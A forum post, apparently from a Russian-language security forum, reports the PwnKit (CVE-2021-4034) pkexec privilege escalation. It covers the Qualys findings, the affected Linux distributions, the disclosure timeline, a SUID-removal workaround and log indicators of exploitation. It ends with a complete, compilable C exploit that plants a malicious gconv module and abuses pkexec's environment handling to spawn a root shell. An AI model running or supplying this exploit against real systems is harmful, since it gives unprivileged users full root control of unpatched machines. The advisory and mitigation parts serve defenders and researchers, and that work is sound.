Що нового?

Article PwnKit: Local Privilege Escalation Vulnerability (CVE-2021-4034)

Vander 0

Vander

Команда форуму
10 Лис 2019
498
1,162
1643231076118.png

Злоумышленник может использовать уязвимость в компоненте pkexec Polkit, отслеживаемую как CVE-2021-4034, которая влияет на все основные дистрибутивы Linux, чтобы получить полные привилегии root в системе. Хорошей новостью является то, что эту проблему нельзя использовать удаленно, но если злоумышленник может войти в систему как любой непривилегированный пользователь, это может позволить получить привилегии root.

Уязвимость, получившая название PwnKit, была введена более 12 лет назад (май 2009 г.) с момента первоначальной фиксации pkexec, это означает, что затронуты все версии.

Polkit (ранее PolicyKit) — это компонент, используемый для управления общесистемными привилегиями в Unix-подобных ОС. Это позволяет непривилегированным процессам взаимодействовать с привилегированными процессами. Polkit также позволяет выполнять команды с повышенными привилегиями, используя команду pkexec, за которой следует команда, предназначенная для выполнения (с правами суперпользователя).

Исследователи из исследовательской группы Qualys обнаружили уязвимость, приводящую к повреждению памяти, в корневой программе SUID polkit.

Исследовательская группа Qualys обнаружила уязвимость, приводящую к повреждению памяти, в pkexec polkit, корневой программе SUID, которая устанавливается по умолчанию во всех основных дистрибутивах Linux». говорится в сообщении, опубликованном Qualys. «Успешная эксплуатация этой уязвимости позволяет любому непривилегированному пользователю получить привилегии root на уязвимом хосте. Исследователи безопасности Qualys смогли независимо проверить наличие уязвимости, разработать эксплойт и получить полные привилегии суперпользователя при стандартных установках Ubuntu, Debian, Fedora и CentOS. Другие дистрибутивы Linux, вероятно, уязвимы и, возможно, могут быть использованы для взлома.

«Эта уязвимость — сбывшаяся мечта злоумышленника», — пояснил Qualys:

Pkexec установлен по умолчанию во всех основных дистрибутивах Linux (мы эксплуатировали Ubuntu, Debian, Fedora, CentOS и другие дистрибутивы, вероятно, также могут быть эксплойтными);
  • Pkexec уязвим с момента его создания в мае 2009 года (commit c8c3d83, «Добавить команду pkexec(1)»);
  • Любой непривилегированный локальный пользователь может использовать эту уязвимость для получения полных привилегий суперпользователя;
  • Хотя технически эта уязвимость представляет собой повреждение памяти, ее можно использовать мгновенно, надежно и независимо от архитектуры;
  • Его можно использовать, даже если сам демон polkit не запущен.
Эксперты отметили, что уязвимость очень легко использовать, а Qualys не планирует выпускать PoC для этой проблемы, другие эксперты уже работают над ее выпуском.

Bleeping Computer сообщил, что рабочий эксплойт был опубликован менее чем через три часа после того, как Qualys опубликовала технические подробности для PwnKit. BleepingComputer скомпилировал и протестировал доступный эксплойт, который оказался надежным, поскольку давал нам привилегии root в системе при всех попытках.

Ниже представлена хронология раскрытия уязвимости:
  • 18.11.2021: уведомление отправлено по адресу secalert@redhat.
  • 11 января 2022 г.: Рекомендации и исправление отправлены на адрес distros@openwall.
  • 25.01.2022: согласованная дата выпуска (17:00 UTC).
Qualys предоставила своим клиентам инструкции о том, как обнаружить PwnKit в их среде.

Если для вашей операционной системы нет доступных исправлений, эксперты рекомендуют удалить SUID-бит из pkexec в качестве временной меры; Например:

Код:
# chmod 0755 /usr/bin/pkexec
Администраторам следует применять исправления, которые авторы Polkit уже выпустили в своей GitLab.

Ожидается, что основные дистрибутивы Linux выпустят обновленные пакеты pkexec как можно скорее, некоторые из них уже сделали это на момент написания этой статьи.

Чтобы проверить наличие признаков эксплуатации, пользователи должны проверять журналы в поисках либо «Значение переменной SHELL не было найдено в файле /etc/shells», либо «Значение переменной среды […] содержит подозрительное содержимое». записи в журналах.

PoC:

Код:
/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
    "#include <stdio.h>\n"
    "#include <stdlib.h>\n"
    "#include <unistd.h>\n\n"
    "void gconv() {}\n"
    "void gconv_init() {\n"
    "    setuid(0); setgid(0);\n"
    "    seteuid(0); setegid(0);\n"
    "    system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
    "    exit(0);\n"
    "}";

int main(int argc, char *argv[]) {
    FILE *fp;
    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
    fp = fopen("pwnkit/pwnkit.c", "w");
    fprintf(fp, "%s", shell);
    fclose(fp);
    system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

Github PoC:
Github PoC:
 
Угорі Унизу